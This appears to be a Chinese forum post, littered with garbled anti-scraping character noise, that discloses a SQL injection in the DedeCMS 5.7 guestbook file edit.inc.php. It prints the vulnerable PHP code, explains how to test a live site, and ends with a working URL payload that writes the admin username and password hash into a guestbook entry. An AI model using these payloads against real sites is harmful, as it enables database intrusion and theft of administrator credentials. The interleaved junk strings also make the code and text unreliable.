影响版本为5.7
& R8 @9 G, ^9 L& `0 z; ]* U4 _' I% _+ i( m2 p# V* P0 G2 [. ]
漏洞文件edit.inc.php具体代码:
$ I3 p7 n) J T8 O, P5 n4 v1 U7 J( M, m% o
< ?php 3 X; ^+ j; s- A( a$ O+ |
3 O8 B$ n* f" j% u; d: E" y
if(!defined('DEDEINC')) exit('Request Error!');
0 p/ k0 f ]* C* G- l. h y
7 S: g( ^+ {2 I3 i 4 x4 L8 G$ [- [5 P
/ ?8 z* Q2 e: @: t# ^0 G' ?7 f9 u: R
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; ' G p# j3 A( S! z
' A, h! D( _2 Kelse $GUEST_BOOK_POS = "guestbook.php"; 1 G" d9 `) m, T R: A: A
/ d) ?% K- ?( \2 [ Z+ v
& f: @+ `: K% u+ y5 L, Q, [( E5 Q( ` E
$id = intval($id);
0 A0 z. l; ^2 N' @/ P7 l# I6 a2 _: i4 A
if(empty($job)) $job='view';
+ A. |4 N* l0 _5 F* v; Q2 ?6 u& b# ]& k" x& d% p% C
0 e2 y a5 }8 ^5 k* G8 ~8 b- r5 M/ {2 r7 C, O) X
if($job=='del' && $g_isadmin)
; }4 i+ D# S5 a( |: \- w/ O! }; t; K1 l7 L8 |
{
! d6 U6 y! \8 D. M. `( K" o3 G0 C
& \0 e$ z# V1 J2 g! j' h0 v$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); ! b5 h. x9 O U$ C4 a
1 {& t: [0 b* G+ s- |0 A N7 P7 kShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
S, b% M# j# D' @- C {4 Z g# J# B5 }3 L& C: D
exit(); " K/ D1 g0 P; u" f' s
( L- b! E; X. L2 a9 C( m1 P& L8 B} # y' ?5 Q6 D# A9 z* C
1 z% _9 o5 J+ l' p6 M3 _
else if($job=='check' && $g_isadmin)
1 U! D( E+ z0 P; T G
( M/ ?) c4 J( y$ Z+ x6 q{ 9 c% [8 P- d3 E
9 f4 ~% F/ \1 { C6 f1 n$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); ; m- q* O; z6 M& H. G* P) } K) U
: C- C! }' Q) g' w+ PShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
& j5 n1 L4 I6 [: d# a; x" H4 D6 T
; c- a4 S3 m3 P* d* Qexit();
+ x8 o6 A4 q( Q2 G( x' ^# ^
. t7 H7 |9 ?8 H- I/ @}
5 B6 K$ D% u( H" t; x) K) q- @2 j3 e9 B0 B' _
else if($job=='editok')
. A) t; W' s% y3 ^* P0 a9 p
% Q) U2 h' P5 ]% d' ?' c{
7 B8 k) Q' i' V. E I
; t; E. _' r1 }* a" F$remsg = trim($remsg);
1 }9 Z3 s' K" C- y6 ~: P1 r% \ F ~! R' `8 w
if($remsg!='') / o9 r( h: A3 ~2 U6 P! E& _
$ L3 g( c1 w4 m u
{ 1 m$ {& Z, p0 Y+ i0 H+ q; i
2 }! ^' Z/ o- M8 j1 i; s s
//管理员回复不过滤HTML By:Errorera blog:errs.cc
% K7 x! ~8 j% Z \) m6 f" A+ p+ k
0 \' S! I: x5 U, j& E0 Kif($g_isadmin)
+ j: Q, L: L t: `& e3 }: _* ]; G, a) M1 U: I5 I% q% q, O
{
! D4 q# C4 r8 i, d4 h( E8 M# ~4 q. ^2 g, \$ {6 R# U
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
& P; O9 }& S0 K7 i1 \4 s2 f9 {* C4 \! }4 e; ?' `/ \8 I: b! s
//$remsg <br /><font color=red>管理员回复:</font> } / O( Q9 a# v" M) K
, r* N/ O' c, ^, z5 Y" F0 {% D0 R
else
" r; X0 P9 H$ t% r! M
* p' p8 u2 ]5 I! [3 [* t+ b{ " y/ d- c a& C, a$ r
0 q) h2 i- b- S' N$ @) a6 a( q% ]$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); 8 e8 A$ n0 ?& P. g) `: L! @6 G. U
8 S5 ]9 F0 [1 j$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; 9 o( q# G" t. G' i* b
4 l6 m, P+ a7 `- v* Z
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
. t; p9 @: |! J2 m! w+ Y$ ~5 Y
8 z& A- H* h& C& C2 ~" |8 k$msg = $oldmsg.$remsg; # h( O; _3 U2 C- ]8 x
3 s( S5 I% _( |+ ~} ' M& s% J' ?0 o6 L$ W
9 h& A6 I+ ~- e! p: d} - g& M; c, V/ y' v N5 v
0 l9 I u* o' x& m* v' G
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc * g% i" |3 l: S6 t( ]* S1 {
6 u4 e) J% W- N7 {' H% Q6 L3 t, B* l$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
' ^3 N( j" A. w3 g& ^+ x, \7 _8 V' p/ [1 K4 W1 J3 B* `
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); 7 f& V. G; a; e/ O
- S' }2 @$ R4 m. Y& M* U% P
exit(); 3 h8 m# _1 w2 F
0 a- J3 j9 S! A/ W
}
7 v1 r. t4 F+ {1 t$ b5 Q& I& F2 K7 I/ b
//home:www.errs.cc
7 C8 X& E1 r5 W" b% G/ M4 T3 m8 p( s
if($g_isadmin) 0 @ h1 O1 A4 e, u; X/ e
( ^8 y/ ?2 f( d- x8 J; ~{
! \ x7 g, e' i' E5 o
1 U8 H6 n% f( E/ u6 x( T$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); 6 C2 Q& i: c" U; c4 O$ a& u
6 E m% e% @' X& M
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); , l9 m" e! K+ Q7 m/ p2 O8 q
. i3 }) \$ i* f. s4 u! `} ' p! @, O' ?8 Z+ f% s% j& ^
5 \. I/ g: O# j3 P+ R% J! Oelse
6 H- Y/ D7 y7 B6 L% I2 i" p1 J) G- X, T
{ , Z1 K y( D/ W- f9 d3 b
/ A# Y9 {0 @% `9 u3 z# b
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); ' r9 J. N: P3 \- F% }$ J
: m8 h% h( W; g) ]3 erequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
4 ]( w/ y2 ]* w/ n. c
, Y) q3 Z3 ~) s+ @2 n e} 漏洞成功需要条件:! \5 M6 q, d* S% ^, u
1. php magic_quotes_gpc=off
% u3 ^1 C8 P0 q) G+ ^& b2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。9 ~( s. n5 I# f' v9 [# G5 \ B
* u$ S1 s" Q9 v8 Q/ \
怎么判断是否存在漏洞:
, c0 L7 D- a' u- ?3 \9 O5 ~先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
' b! C2 q9 x! t' I7 B+ m然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
& d3 w! g1 @6 }( Z1 V访问:8 Z; s9 m9 [" x* b0 q
; s9 s& ^$ x7 ~4 ]9 `1 r
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
% M% b, [4 @8 R, S跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证; K3 H6 u4 l p1 A
, V5 e$ R$ O8 J0 u/ D: {
`4 ~! _0 U8 y# ?/ s* A; `# U9 X明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
+ n8 x# t) P% y( a$ Q$ j& y- [# k8 h如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
9 E @ a! B2 Z: r# X/ q- Q5 H那么再次访问
9 k% J" ` J' z# ]4 W( Q/ L/ N z9 ~& j) C# d6 _
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().7 O) S K8 c% _ K" b9 w% r
: _6 h- L3 d+ U* z) @0 w% u大概利用就是这样,大家有兴趣的多研究下!!
/ a5 |9 M( O W& l! x5 K, T+ t" p% J! O2 }, k* V2 ]
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!6 c4 d9 V9 k/ P& s7 {2 w. B
. p. P0 \9 s$ F+ i6 i# n. m- d6 Mview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |